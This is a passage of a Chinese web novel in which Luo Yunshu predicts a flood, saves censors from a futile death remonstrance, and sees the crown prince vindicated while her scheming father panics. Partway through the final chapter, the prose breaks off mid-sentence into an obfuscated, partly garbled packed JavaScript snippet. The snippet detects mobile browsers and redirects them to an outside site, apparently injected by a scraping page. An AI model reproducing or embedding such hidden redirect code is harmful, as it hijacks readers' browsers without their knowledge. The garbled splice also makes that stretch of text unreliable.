看着她仓皇离开的背影,洛云舒很快收回视线,进了府。 到下午的时候,天气已经有些沉闷,看着是要下雨了。 寒霜这时候进来禀报:“大小姐,您父亲暗中约见了霍少将军。” “哦?他们说了什么?” “洛侍郎担心这一次太子会失利,想搭上霍少远,做两手准备。” 洛云舒淡淡一笑。 意料之中。 内宅之事,洛守礼相信她能处理好。 但事关朝堂上的事情,洛守礼自负,认为她办不好。所以,他想更稳妥一些。 他以为,这一次的事情,三皇子会得利。 “既然如此,那这一次,我就给他一个教训。” 用一个教训,让洛守礼以后再不敢忤逆她的意思。 洛家,有一个人说了算也就够了。 傍晚时分,雨淅淅沥沥地落了下来。 到了第二天上午,消息传来,京城东南一带开始下雨,但是并不大。 而裴行渊所在的祁县,依旧是艳阳天。 朝中对裴行渊的声讨,愈发激烈。 甚至,说裴行渊之前的好名声是刻意营造出来的。 一番话,几乎要推翻裴行渊之前所有的努力。 下午的时候,坐镇东宫的东方先生找了来。 见面之后,他很客气:“洛大小姐,属下原本是不该来打扰您的。可属下实在是心里没底。” 洛云舒看向东方先生,见他嘴角已经起了燎泡,说话的时候大概是有些疼,总是咧嘴,又为了体面拼命忍着。 可见,东方先生的内心实在是焦灼得很。 他焦灼,是因为他面对眼下的局面,却又无事可做。 洛云舒立刻道:“东方先生,洪灾过后需要做点什么,您心里可清楚?” 东方先生一愣,急忙道:“回大小姐的话,属下清楚。” “既然清楚,那就去做相应的准备。若太子殿下需要,这边可以即刻运出去,不至于误了殿下的事。但,初十之前做这些事的时候,不要被人察觉。” “到了初十这一日,事情会出现什么变化吗?” “会。”洛云舒笃定道。 见状,东方先生轻轻呼出一口气。 他退后几步,朝着洛云舒深施一礼:“是属下过于慌乱了。” “无妨,记得殿下离京前跟您说的话就好。” “是。”东方先生匆匆离开,很满意。 他走了没多久,洛守礼就来了,显得很匆忙:“刚才,东宫的东方先生来过?” “是。” “所为何事?” 洛云舒故意瞒他,随口道:“太子殿下不在,东方先生要布置新房,特意来问我的喜好。” 洛守礼有点意外:“东宫的人竟如此敬重你?” “大概,是太子殿下吩咐的吧。” 洛云舒的回答,模棱两可。 洛守礼却陷入沉思。 洛云舒并不打断他。 过了好一会儿,洛守礼才回过神来,见洛云舒在看他,含糊地说了一句:“太子看重你,是你的福气。” “父亲这话说得极对。不过女儿觉得,只有福气还不够,人还得懂得惜福。不然,就算是有再大的福气也接不住。父亲,您说是不是?” 洛守礼擦了一下额头上的冷汗:“是,是这个道理。” 说完,洛守礼慌慌张张地出去了。 临出门的时候还被门槛绊了一下,差点儿摔倒。 “这就慌了?”洛云舒喃喃道。 没实力的人,总想着投机取巧。 可投机取巧这种事,是要靠运气的。 运气不好,就会败个彻彻底底。 所以,和投机取巧相比,她更愿意相信脚踏实地的努力。 她坚信,唯有靠自己的努力得到的东西,才是真正长久的。 比如,她十二岁那年打算亲自跟着商队走一遭。 当初,幸亏她走了这一步,不然,她不会像现在这样,只管用心筹谋,没有钱财上的忧虑。 又比如,她现在所做的一切,正是为了以后的灿烂和自由。 这脚踏实地的、一步步的努力,是不可少的。 一步登天不可取,脚踏实地才够稳。 隔日,京城的雨下得更大了。 下午,快马送来东南一带和祁县的消息。 第65章 她当这是什么地方,让她回去! 昨日,东南一带的雨下得还很小,但今天已经是暴雨如注。 前几日,即便他苦心相劝,可还是有一些农户的庄稼没有来得及收割。 因为,他只劝,不强制。 这足以彰显他的仁慈。 而今日,暴雨降下,三皇子舍弃皇子之尊,拿起镰刀和农户一起收割庄稼。 这又为他赢得了一波好名声,人人夸他贤德。 与之相反的,是裴行渊已经降到了极点的名声。 因为,得知东南一带开始下暴雨之后,裴行渊再次有了动作。 他以太子之尊,强行要求百姓收拾金银细软,去山上暂避。 这无疑让人觉得费解。 毕竟,祁县并未下暴雨。 相反,祁县风和日丽。 在这样的天气下这样的命令,一整个祁县的人都不能理解。 因此,祁县的百姓怨声载道。 消息传到京城,又是一番震动。 国子监的学子们甚至已经开始罢课,在国子监内静坐示威。 忠直的臣子们开始上谏,求陛下下令,让太子及时收手。 然而,陛下并未下令,只高深莫测地说,相信太子有更深的考量。 一句话,使得不少臣子开始在勤政殿外静坐。 他们等着让陛下处置太子。 但,陛下并未下令。 不少人都觉得陛下这是不忍责罚太子,但唯有洛云舒心里清楚,陛下这是在等,等裴行渊犯下更大的错,等民怨继续沸腾。 唯有如此,他才好下手。 他知道裴行渊的实力,所以,想要力争一次得手。 这是唯一的解释。 想到这些,洛云舒实在是费解。 太子是陛下一手选出来的,却又要费尽心机,亲手废掉。 抛却皇帝的身份不谈,他最起码还是一个父亲。 父亲,怎会如此对待自己的儿子? 难道,权力真的会让人迷失心智? 洛云舒想不明白,索性也就不再去想。 这时候,海云澜再次到访。 她悄悄告诉洛云舒,已经有言官来寻她父亲,与她父亲商议,若是陛下再不下令处置太子,就有人准备死谏。 死谏,是所有上谏中最惨烈的。 它以性命做底色,谏最忠贞的言辞。 可,若是遇上了值得死谏的事情,为此而死,自然是值得的。 然而,这次不同。 等这次的事情真相大白之后,若真有人死谏,却会成为笑话。 因为事实终将证明,裴行渊所做的是对的。 敢于死谏的,都是为国忧虑之人。 洛云舒不愿意让这样的人成为笑话。 “你父亲怎么说?” 海云澜有些不好意思:“我父亲也有此意。他认定,太子殿下这次所做的事情毫无道理。” 洛云舒沉思片刻:“可否让我见见你父亲?” “可以。不过我父亲这会儿去了衙门,咱们得去衙门里找他。” 去衙门里找,那就不能以现在的面目去,太显眼。 洛云舒很快有了主意:“我们穿男装去。” “好。” 换好衣服,二人即刻前往御史台。 身处御史台,洛云舒才真切地感受到这一次朝中对裴行渊的贬损有多严重。 她刚进去,就听有人骂道:“太子无道!是要天下百姓去死啊!” “小点儿声,当心隔墙有耳!” “都到了现在这个时候,还有什么好怕的?有朝一日,若是让这样的人做了太子,我大齐将永无宁日!” …… 海云澜要上前去理论,被洛云舒拦住:“正事要紧。” 海云澜强压怒气,带着洛云舒,一路来到海刚正的办公房外。 这会儿,海刚正正在里面与人交谈,门外是海刚正的亲随林通在那儿守着。 海云澜上前,一脸急切:“林叔,我有要紧的事要单独跟我父亲说,你进去说一声,让里面的人先出来,可好?” 看到海云澜,林通先是一愣,继而认出她来,忙压低了声音说道:“小姐,老爷这会儿在办正事儿,他吩咐过,不许任何人打扰。” “哎呀,林叔,我都说了我有要紧的事情。”说着,海云澜掐了自己一把,眼泪都出来了。 林通贴着门听了听,大概是觉得里面的声音小了些,这才应允道:“小姐,您先在此稍后,老奴进去告诉老爷。” “好,林叔,您快去。” 然而,林通才刚进去,里面就传来一声暴喝:“胡闹!她当这是什么地方,让她回去!” 很快,林通出来,面露难色:“小姐,您也听到了。老爷发了好大的火儿呢,让您赶紧回去,不然,他要动家法!” 海云澜扯着嗓子朝着里面大吼:“父亲,您管不管?您要是不管,我、我就不活了!呜呜呜……” 海云澜话音落下,里面一片寂静。 之后,她不管不顾,拉着洛云舒,推开门就闯了进去。 一进去,洛云舒就看到海刚正气得瞪圆了眼睛,手里攥着砚台。 房间里的同僚见状,忙说道:“大人,您先忙。” 说话间,同僚们一个接一个退了出去。 海刚正气得气儿都喘不匀了:“混账!这会儿都什么时候了,你还在这里胡闹什么?” 海云澜顾不上说话,转身就去把门关上了。 她走到洛云舒跟前:“父亲,这位是我跟您提过的洛大小姐,也是准太子妃。” 海刚正这人一向刚正不阿,又有官职在身,再加上洛云舒现在还不是太子妃,所以,他并未行礼,只是看了洛云舒一眼,面带疑惑:“洛大小姐此来,所为何事?” 洛云舒走上前去,展开一直抱在怀里的舆图,铺开,放在海刚正的面前。 海刚正看了一眼,不解其意。 “海大人,您可曾去过祁县?” “去过。” “那您可曾留意过,这条贯穿祁县的河和其他的河有什么不同?” 海刚正往舆图上看了一眼:“不过就是一条寻常的河而已,没什么特别的。” 说完,他深深地看了洛云舒一眼:“洛大小姐,老夫明白,你这是想为太子殿下说情。可眼下,太子殿下的颓势已经无力回天。看在你与小女交好的份儿上,老夫劝你提前做好退婚的打算。” 洛云舒微微摇头,问道:“大人,这条河是倒流河,上游是京城东南一带。” 经洛云舒这么一提醒,海刚正如梦初醒:“要真是按照你说的,东南一带的雨这么下下去,受灾的,可就是祁县啊!” 顷刻间,海刚正什么都明白了。 他们,都错了! 太子是对的! 海刚正欣喜若狂,他朝着洛云舒深深地作了一个揖:“洛大小姐,您此举,救了数条人命啊!” 打算死谏的,并非只有一人。 就连他自己,都动了这个心思。 可真要因此事而死谏,那可真是既没了性命,又没了身后名。 “海大人,您客气了……” 然而,她的话还没说完,海刚正就朝着外面跑去。 他急着把这个消息告诉所有人。 “不能去!”洛云舒大声喊。 但,已经迟了…… 第66章 云舒,你真厉害 海刚正已经到了外面去,与人说起此事。 他满怀期待,却被人无情斥责:“海大人,我原本以为您是整个御史台最刚正不阿之人!现如今看来,也不过是沽名钓誉之辈!罢了,你既然怕了,那就请回吧!” 后面,无论海刚正再怎么说,都无济于事。 他重新回到办公房内,急切道:“洛大小姐,您快出去,把跟老夫说的话原原本本地跟他们说一遍!” 洛云舒摇摇头:“海大人,没用的。” 她走上前去,耐心解释:“您愿意相信我的话,是因为我和云澜关系亲厚。您信任云澜,故而不怀疑我所说的话。可如果我现在出去跟别人说,他们只会觉得我是在为太子遮掩。” 人一旦认定了什么,就很难改变。 “那、那也不能看着这些人真的去死谏啊!” “大人,您看。”说着,洛云舒重新走到展开的舆图前,指着泌水河的位置,“只有发现这条河是倒流的,他们才会相信我的话。距离京城最近的、又能发现这条河是倒流的地方,在此处。” 海刚正眼前一亮:“此处距离京城极近,骑快马前往,一个时辰便可往返。” “没错。” 他立刻有了主意:“洛大小姐放心,我会以御史大夫的身份施以强压,在实情没有探明之前,不许任何人出御史台。同时派人去查探,也好堵住这悠悠众口。” 总之,要确保不能有人去死谏。 “多谢您。”洛云舒深施一礼。 海刚正低头,言辞恭谨:“洛大小姐客气了,该是老夫谢谢你。” “您忙,我就不叨扰了。” “好。待此事了了,老夫定要登门致谢。” “您客气。” 出了御史台,重新回到马车上,洛云舒才惊觉自己一身的汗。 事关人命,她有些紧张了。 海云澜看着洛云舒,满目钦佩:“云舒,你真厉害,几句话就让我父亲改变了主意。” “哪里是我厉害?是你父亲足够看重你。他看重你,才会爱屋及乌,听信我的话。若是换了旁人,只怕我早就被轰出来了。” 当然,也是因为有裴行渊的名声在前。不然,若裴行渊是劣迹斑斑之人,她今日所说的这番话,只怕海大人也不会相信。 “是啊,我家这小老头,对我真的很好。”说完,海云澜后知后觉地想起什么,急忙道歉,“云舒,对不起,我没有要炫耀的意思。” 她知道,洛云舒的父亲待她不好。 洛云舒笑笑,完全没放在心上:“这世上的人形形色色,有爱护子女的父亲,自然也就有不爱护子女的父亲。没什么大不了的。” 海云澜沉默着,连连点头,眼泪却在眼眶里打转。 她心疼洛云舒。 明明是跟她一样的年龄,却无人庇护,历尽艰辛。 之前是差点儿为霍少远殉节,现在好不容易即将嫁给太子,太子又扯进这样的事情之中。 似乎是看出海云澜的心事,洛云舒握住她的手,轻声说道:“放心,太子吉人自有天相,不会有事。” 回府后,洛云舒一颗心仍是悬着的,放不下。 外面的雨越下越大。 看着外面连绵的雨幕,洛云舒的眉紧紧蹙着,不知此时,裴行渊面临着怎样的局面。 京城之中议论裴行渊的言辞尚且这般激烈,身处漩涡之中的他,面临的局面只会愈发难捱。 …… 此时,祁县西山,小雨淅淅沥沥。 裴行渊亲自坐镇,命县衙衙差护送百姓往山上走。 一路上,百姓们怨声载道。 可这些,裴行渊全都顾不得。 自从来了祁县,他的脚步就没有停下来过。 先是将整个祁县范围内的农田全部巡视了一遍,将所有地势低洼,且有可能被河水冲毁的地方一一做了标记。 后来,强行让百姓把这部分庄稼全部收割完毕之后,又着手命令衙差,强制地势低洼处的百姓往山上暂避。 不仅如此,还要腾出手,派人加固房屋。 然而,命令下达之后,裴行渊还得亲自盯着。 不少人都觉得他这是在胡闹。 现如今,他的声音早已嘶哑,身心俱疲。 却又不得不强打精神,监督这批百姓往山上走。 明日就是初十了,据洛云舒说,洪水将在初十这日凌晨时分抵达祁县。 留给他的时间不多了。 偏偏这时候,有百姓闹起了乱子。 是个上了年纪的倔脾气老头儿,带着一个七八岁的小孙子。 他扯着小孙子,一屁股坐在地上,怎么也不肯往前走。 衙差过来催。 他气得把手里的大包袱都扔了出去:“我都这么大年纪了,何苦来折磨我这个老头子?” “老人家,这是太子殿下的命令!” “你们就会拿这句话吓唬人!太子怎么了?太子就能胡作非为?”他扬手指向阴沉沉的天空,“你们也都瞧见了,这雨下得很小,哪里像是会发洪水的样子!你们这些当官的,真是看不得我们老百姓过几天好日子!好不容易盼着庄稼快收割了,偏偏又让提前收割,一亩地最少也减产了一百斤。这么对待庄稼,是要遭天谴的啊!” 说着,老头儿声泪俱下。 小孙子见状,忙去给他抹眼泪。 别的百姓见了这一幕,也纷纷停下了脚步。 老头儿又哭诉道:“可怜我的虎子哟,小小年纪就没了爹妈,跟着我这个老头子,饥一顿饱一顿的。今年收成又不好,再这么折腾下去,我们祖孙俩怕是只能去当乞丐了……” 一番话,惹得不少人跟着掉了泪。 都是寻常百姓,谁家里没点伤心的事呢。 按理说,现在虽然下了雨,可雨下得并不大,这个时候待在家里是最合适的。 哪里像是现在这样,被逼着往山上走,身上背着被褥和锅碗瓢盆也就算了,有的甚至要牵着羊提着鸡鸭鹅,再加上山路湿滑,一不小心就会摔跤,身上也被雨水淋湿,湿哒哒的,走起路来更是难受。 原本,他们可以不用受这个苦的啊。 这是大多数人心里的想法。 这会儿,还是在山脚下。 眼看着这么多人都不肯走,甚至已经有人起哄说要回去,裴行渊迈步走了过来。 第67章 这话可不能乱说 走近后,裴行渊朝着那走在最前面的老头儿拱了拱手:“老人家,您今年高寿?” 老头儿抬眼,瞥了裴行渊一眼,只以为他是县衙里的小官差:“六十三了。” “您在此地居住有多少年了?” “六十三年了。” 他在这里出生,在这里长大,娶妻生子,又在这里埋葬了他的儿子,苟活到今日。 随后,裴行渊指向山脚下流淌的泌水河:“这条河原先和所有的河流一样,是自西向东流的,对吧?” “没错儿!” “可自打七年前地动之后,这条河的流向就反了过来。” “是,你到底想说什么?”老头儿有些不耐烦。 现在,他只想赶紧带着小孙子回家,烧点热水,洗个澡,吃点东西暖暖身子。 再这么耽误下去,只怕会染风寒。 他们这一老一小,禁不住一场风寒。 “老人家,如今这泌水河是自东向西流。您看东边的天空……”说着,裴行渊指给老头儿看。 这会儿,东边的天空阴沉得厉害,乌云翻滚,犹如层层叠叠的波浪,黑沉沉的,铺满了整个天空。 老头儿眯着眼睛看了看:“那边应该是下了大雨。” “泌水河是自东向西流的,东面下了大雨,泌水河暴涨,受灾的就会是咱们。您住在此处多年,想必知道洪灾的厉害吧。” 老头儿皱了皱眉。 没错,他知道。 他娘就是被洪水冲走的,连尸身都没找着。 “可这条河自从向西流之后,从来没有发生过洪灾。” 裴行渊耐心解释:“这条河的流向改变,是在七年前。这七年间,因为东边下大雨的次数不多,所以才没有造成洪灾。但这一次,明显不同。您这会儿若是回去,等洪灾来临,您这一老一小完全没有抵抗的能力。” 裴行渊这话,老头儿听进去了。 可后面的队伍里很快传来一声嘲讽:“他是老头儿,他抵抗不了。我年轻,我能!” 说话的,是个挑着担子的年轻人。 担子的一头儿放了些锅碗瓢盆之类的物件儿,另一头,坐着他的老娘。 那老太太撇撇嘴:“怕个求哟!栓柱,走,带娘回去!我才不受这个罪!” 裴行渊上前阻拦:“这会儿天已经开始黑了,回去的路也不好走,不如先上山上暂避一日。我已命人在半山腰的山洞里架锅做饭,等到了山洞里,就有一口热饭吃。” 只要过了这一晚,等洪峰来临,到时候不需要他说什么,这些百姓们就会相信他的话。 然而,那老太太又撇了撇嘴:“你这话说得轻巧!回去的路不好走,这上山的路就好走了?我可听戏文里说了,有些黑心肝的官差就爱抓老百姓,到时候再把人一卖,能赚不少银子呢。你这回,该不会打的就是这个主意吧?” 说着,她看了一眼周围的乡里乡亲,夸张地“咦”了一声:“瞧瞧这老的少的,男的女的,男的年轻的卖苦力,女的卖到花楼里去,小的卖给人牙子,能卖不少银子呢!” 她这话一出口,百姓们吓得身子一哆嗦。 “栓柱娘,这话可不能乱说。”有个婶子提醒道。 老太太撇嘴:“我可不是空口说白话。咱们这儿又不是没有遭过洪灾,你哪次看见官府强制咱们从家里搬走的?哪次不是拖拖沓沓的,等到洪水把人都冲没了才假惺惺地出来赈灾?咱们的性命在这些当官的眼里,没那么重要。” 这番话,引来不少认同。 事实的确是如此。 更何况,洪灾哪里能提前预知呢? 一时之间,有不少百姓都跟着犹豫起来。 老太太下巴扬起,犹如一只刚下过蛋的母鸡,神情高傲:“栓柱啊,走,别人不回,咱们回!” “好嘞,娘,你坐稳了。” 说完,年轻人挑起担子就走。 他这一走,就有不少人跟随。 裴行渊想拦,可他已经一天没吃饭了,体力几乎在透支的边缘,手刚往前一伸,就觉得眼前一黑。 若不是寒七机灵,只怕他就倒下了。 可就在这一瞬间,一股百姓已经从他眼前走过。 寒七请示:“殿下,是否要拦下他们?” “拦下。”裴行渊的声音很虚弱,但,不容置疑。 寒七扶着裴行渊在一块大石头上坐下,立刻朝着前面走去。 然而,山路湿滑,他终究还是慢了一步。 走在最前面的栓柱已经下了河。 只见栓柱在河里才走了两步,突然身子一歪,不见了踪迹。 后面的人眼尖,立刻叫道:“不好了!栓柱和栓柱娘被河水冲走了!” 这时候,他们才发现,河水已经上涨了。 只是天黑,看着不太明显。 就在这个紧要关头,寒七一个鹞子翻身下了河,再出来的时候,他一手提着栓柱,一手提着吓白了脸色的栓柱娘,浑身已经被河水浸透。 百姓们见状,顿时围了上来。 “栓柱,栓柱娘,你们没事吧?” 栓柱还好。 栓柱娘却扶着肚子,呜哇呜哇地往外吐水。 吐完,她一把拉住寒七,招呼栓柱:“栓柱,这恩人救了咱们。你快给恩人磕头!” 栓柱跪地,咕咚咕咚地磕头。 寒七冷脸看着,面无表情,见他们没事了,径直走到裴行渊身边,站好。 这次,无须裴行渊再说什么,打算离开的百姓们立刻返回了上山的队伍。 裴行渊神色焦灼。 河水已经开始上涨了。 还不知道别的地方是个什么情况。 洪灾一事,祁县县令乃至县丞等人都不大相信,他们肯按照他的话去做,不过是碍于他太子的身份。 他唯恐这些人办事不尽心,把自己手底下的人全都分派了出去,是监督,也是协助。 可,他还是担心有些人不重视,会不好好办差,打算去别的地方再看看。 这一晚,注定无眠。 京城,洛云舒亦是如此。 她睡不着,担心裴行渊的处境,也担心海大人那边是否顺利。 她打算,明天一早亲自去海府问问情况。 洛云舒一直坐到天亮,这时候虽有困意,却睡不着,叫知意进来给她梳妆,她要去海府。 然而,收拾完毕之后,她的马车刚出府,就听守在外面的寒霜禀报道:“小姐,是丞相府的马车!” 第68章 总觉得是在求她 是阮清辞。 “云舒,我父亲得到消息,祁县爆发史无前例的大洪灾,农田和房屋被冲毁大半,百姓们也死伤不少……” 听着,洛云舒紧紧皱眉。 看来,情况比她预想中的更加糟糕。 “……我父亲早早地就进宫了,大概,是与陛下商议,要派人去祁县赈灾。” 阮清辞怕洛云舒担心,赶过来跟她说这些。 洛云舒的心里莫名有一种尘埃落定的感觉。 幸亏有裴行渊早做准备,不然,损失会更大。 眼下,庄稼已经提前收割,百姓们也提前做了转移,已经最大限度地减少了损失。 至于其他的损失,则是不可避免的。 至此,京城内反对裴行渊的声浪会逐渐消失。 洪灾发生,他们会意识到裴行渊的做法是对的。 一上午的时间,消息如雪片一般,滚滚而来。 有祁县官员办差不力,致使七个村子的百姓转移不及时,十之八九都被冲走,引得裴行渊震怒。 同时,京城派出一队由户部和工部官员组成的钦差,紧急赶往祁县。 但,陛下并未给裴行渊下什么命令。 按照眼下的情况,最稳妥的法子就是下旨,让裴行渊负责祁县的赈灾事宜。 毕竟,现在裴行渊对祁县的情况很熟悉。 看来,陛下还是忌惮裴行渊,甚至已经到了不顾祁县百姓死活的地步。 不过,朝中有海刚正这样敢于直言的忠臣,只怕不会容忍陛下有这样的私心。 裴行渊负责祁县的赈灾,是早晚的事情。 东宫那边也派人来说,先前准备好的药材和一应物品已经送往祁县。 东宫众人也振奋起来,各司其职。 滚滚而来的消息之中,还夹杂着和三皇子有关的消息。 先前,三皇子在东南一带号召百姓收割庄稼,但不强制。 然而,这一场暴雨降临,到现在还没有消停的迹象,现在还没有收割的庄稼,只怕会烂在地里。 而且,东南一带也出现了洪灾,有农田和房屋被冲毁,人也被冲走了不少。 被冲走的人数,甚至比祁县的人还要多。 要知道,东南一带的洪灾远远没有祁县的严重。 但被冲走的人却比祁县的多,这足以说明三皇子办事不力。 眼下虽然还没有到最终清算的时候,但对三皇子的贬低已经不可避免。 到下午的时候,关于裴行渊的风评已经完全逆转。 没人再说他刚愎自用,纷纷赞他有魄力。 果然,当事情的结果变得不同,过程也会被重新定义。 洛云舒安坐芷荷院,听着一个又一个好消息,一颗心彻底落于实处。 心里没了压力,困倦感席卷而来。 洛云舒让知意帮她卸掉头上的发饰,正要睡一会儿,就见洛守礼着急忙慌地走了进来。 洛云舒觉得奇怪。 毕竟,涉及到赈灾,户部首当其冲,洛守礼应该忙得脚不沾地才对。 这时候回来找她,莫非是在担心东窗事发?要么,就是有人给他压力了? 果然,洛守礼一开口,就提到了裴行渊:“云舒,太子殿下给你来信了吗?” “前天倒是收到一封,怎么了?” “没什么。”说着,洛守礼擦了一下额头上的冷汗,面色微微发白,“这次的事情过后,太子殿下的声望会更加强大,无人能撼动他的地位。” 洛云舒淡然一笑:“父亲,那是太子殿下,没有人蠢到去撼动他的位置吧?” 瞬间,洛守礼的脸色更白了。 他再次开口,带着几分探究:“太子殿下来信,有没有说什么时候回京城?” “没有。关于这件事,父亲不是更清楚吗?毕竟,这是朝堂上的事,您应该更清楚才对。” “是这样没错。”洛守礼附和道。 说完,他就没再说什么,只坐在那里,看着自己的鞋子,不知在想些什么。 他不说话,洛云舒就不开口。 大概过了半刻钟,洛守礼突然站起身来:“那、那就先这样。我先走了。” 洛守礼走后,洛云舒吩咐寒霜:“查一下,今日他见过谁。” 吩咐完之后,洛云舒去睡了一会儿。 刚睡醒,寒霜就过来了,说今日东方亮避开人,见了洛守礼一面。 三皇子去了东南一带,东方亮留守京城,是为了给三皇子造势。 毕竟,三皇子去东南一带是要抹除之前贪污赈灾银两的污点,去做什么不是目的,借着这个机会扭转形象才是重点。 所以,东方亮留在京城,就是为了宣扬三皇子。 前阵子裴行渊的声望那么差,其中就有东方亮的手笔。 看来,东方亮预见了什么,要从洛守礼下手。 可洛守礼在户部的差事不是最重要的,东方亮接触洛守礼,应该不是为了公事,而是为了私事。 洛家的私事,且能让东方亮惦记的,也就只有她了。 大概,是要重提她和霍少远的事。 事情兜兜转转,似乎又回到了原点。 但现在已经不同往日。 有了赐婚圣旨和裴行渊的看重,洛守礼已经摆布不了她。 想通了这些事之后,洛云舒淡漠一笑:“看来,如今我这位父亲的内心,还真是焦灼得很啊。” 裴行渊声望不好的时候,洛守礼觉得她目光短浅,不知道提前做打算,大概是和东方亮达成了什么共识。 如今裴行渊的名声逆转,洛守礼想要当做什么事情都没发生过,却被东方亮找上门了。 大概,东方亮用他曾经的投诚,威胁他了。不然,洛守礼不会慌成这个样子。 这件事,还真是变得有意思了。 洛云舒没有猜错。 东方亮的确威胁洛守礼了。 此刻,洛守礼坐在书房里,即便天色已暗,他却没有吩咐人点灯,一个人坐在宽大的圈椅里,不知在想些什么。 周安候在一旁,连大气都不敢出。 一片寂静中,洛守礼缓缓开口:“周安,老夫这一次是不是做错了?本想着做两手准备,谁知道,玩脱了。” 周安低头,谨慎回答:“老爷,智者千虑,尚有一失。做错了,设法补救也就是了。” “那东方亮欺人太甚,要老夫设法撮合云舒和霍少远。可云舒已经和太子殿下有了婚约,我要真做了这件事,那就是找死!可我要是不做,东方亮就会把我曾经投靠三皇子的事告诉太子,我同样是个死!” 说完,洛守礼恨恨地捶了一下桌子。 他如今的局面,还真是伸头是个死,缩头也是个死。 这时候,周安谨慎道:“老爷,或许您可以求助大小姐。毕竟,您二位是父女,打断骨头还连着筋呢,她不会置您于不顾。” “话虽这样说,可老夫是她老子,我跟她说这些,总觉得是在求她。” “老爷,都是一家人,说什么求不求的。再说,就算是求了又怎样,终究是关起门来,自家的事。可这事儿若是闹开了,丢的终究是您的脸面。” 更何况,不仅仅是丢脸面,很有可能还会丢命。 被周安这么一提醒,洛守礼就有了主意。 正当他起身,打算去芷荷院的时候,门房那边来人禀报:“老爷,海大人带着御史台的几位大人上门了……” 第69章 您可真是养了一位好女儿啊 门房的话还没说完,洛守礼已经吓得跌坐在椅子里。 他有些慌张:“周安!周安!你听到没?御史台的人上门了,他们、他们是要参我啊!这东方亮怎么就这么心急,这就把我给捅出去了……” 说着,洛守礼只觉得腿脚软得厉害,站都站不起来。 他太慌张,以至于连门房接下来说的话都没听清楚。 周安听清楚了,急忙道:“老爷,您没把话听全。这几位大人前来,都带了厚礼,是来致谢的。” “啊?致谢?谢我什么?” 周安也是一头雾水,却也谨慎道:“大人,不如先去看看情况再说。” “是这个理儿。”洛守礼应着,双手扶住圈椅的把手,试了好几次才站稳身子,就这么一路虚飘着,到了待客的正厅。 看到御史台的几位大人已经在里面就坐,洛守礼一把扶住门框,心里莫名地有点慌。 尤其是看到海刚正那张四四方方、板板正正的脸,他几乎站都站不稳。 要知道,海刚正这个人最是死板,前段时间,查出来有个人**税银,他直接拿着上朝的笏板,把那人抽得口鼻流血。 然后…… 天呐,此时此刻,此情此景,他居然看到海刚正在冲着他笑! 他可从来没见海刚正笑过。 有时候,他都觉得这人的脸是用茅坑里的石头做的,又臭又硬。 瞬间,洛守礼整个人都不好了,身子也跟着往下矮。 然而,还不等他完全倒下去,身子已经被人扶住。 定睛一瞧,扶住他的人竟然是海刚正。 见状,洛守礼只觉得眼前一黑。 海刚正却还是满脸是笑:“洛大人,是不是户部今日太过忙碌,您累着了?” “还……还好。”洛守礼艰难道。 要知道,海刚正的官职比他高,脾气又不好,他可从来没见过海刚正这么跟人说话。 可此刻,海刚正满脸是笑还就算了,还扶着他往主位上走。 洛守礼迅速看向其他几位跟着海刚正来的大人,这一看,整个人更不好了。 天呐,来的居然都是御史台的刺头儿! 听闻这几位前几日还打算**谏呢。 连丢命都不怕的人,最可怕! 朝中的官员甭管是谁,遇上了这几位,向来都是绕道儿走的,就怕不小心被他们盯上。 现在可倒好,整个御史台的刺头儿都在这里了。 偏偏诡异的是,他们还都冲着他笑。 一时之间,洛守礼搞不清楚状况。 但,他还尚且有些理智,在海刚正拉着他往主位上坐的时候,洛守礼一把拦住:“海大人,您和诸位大人都在,下官哪里能坐主位?您坐,您坐。” 海刚正却微微板了脸,严肃道:“洛大人,我等今日都是来感谢您的。您不坐主位谁坐主位?” “感……感谢我?”洛守礼完全懵了。 海刚正笑笑:“您还不知道吧。原先我和这几位同僚都是打算死谏的,幸亏令爱及时制止,不然,我们几个此刻都已经是孤魂野鬼了。” “**倒还好说,可死后还会被人笑话,简直就更惨了。”其中有个人附和道。 洛守礼一脸懵。 见状,海刚正就把事情的来龙去脉说了一遍。 说完,他又热情洋溢地补充道:“洛大人,您可真是养了一位好女儿啊。要不是她力挽狂澜,我们这几位可就要成为笑话喽!” 这么一听,洛守礼顿时就坐稳了。 他客气地笑笑:“大人,您言重了。她做这些都是应该的。” 一番恭维下来,洛守礼的脸都要笑烂了。 海刚正几人则是把洛云舒都夸出花儿来了。 夸完寒暄完之后,这几位留下礼物,告辞离开。 把这几位送走之后,洛守礼让人拆了礼物。 这几位大人家里都不富裕,但送出来的礼物却都是重礼,都是一些金银首饰和名贵的玉器。 很显然,这些东西都是送给洛云舒的。 只不过他们到底是男人,不方便当面送给洛云舒,这才让他转交。 若是往日里,洛守礼看了这些礼物或许会心动,但现在他自己也有求于洛云舒,忙让人把礼物都带上,赶往芷荷院。 可到了芷荷院,却吃了个闭门羹。 守门的婆子说,洛云舒已经睡下了。 这事儿要是放在以前,洛守礼肯定吩咐人把洛云舒叫醒。 但是现在,他不敢,只好悻悻而回。 可,哪怕是回了他自己的院子里,也是翻来覆去,怎么都睡不着。 第二天一早,他早早地来到芷荷院外,可洛云舒还没醒。 等来等去,没等来洛云舒起床,反倒是等来了户部衙门里来的人。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525568|169168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的顶头上司派来的人,让他去协调赈灾的物资。 如今赈灾是大事,洛守礼不敢耽搁,匆忙离府。 实际上,洛云舒已经醒了。 她是故意不见洛守礼的。 她知道洛守礼想做什么,可她偏偏就是不想让洛守礼心安。 她要给他一个教训。 并借着这个教训,让他以后都不敢造次,乖乖听他的话。 所以,她打算让洛守礼好好煎熬一番。 她刚吃过早饭,海云澜来了,又给她带来不少礼物。 “海大人昨晚已经来过,也送了礼物,你怎么又送?” “我父亲说了,你救了好几条人命,就算是把我们海家的家产都送给你也不算多。” 洛云舒嗔她一眼:“夸张。” “不夸张,一点儿都不夸张。”说着,海云澜挽住洛云舒的胳膊,感慨道,“云舒,你真是太厉害了。我宣布,我海云澜以后最佩服的人就是你了!” 洛云舒忍俊不禁:“你马上也要成亲了,嫁衣绣的怎么样了?” 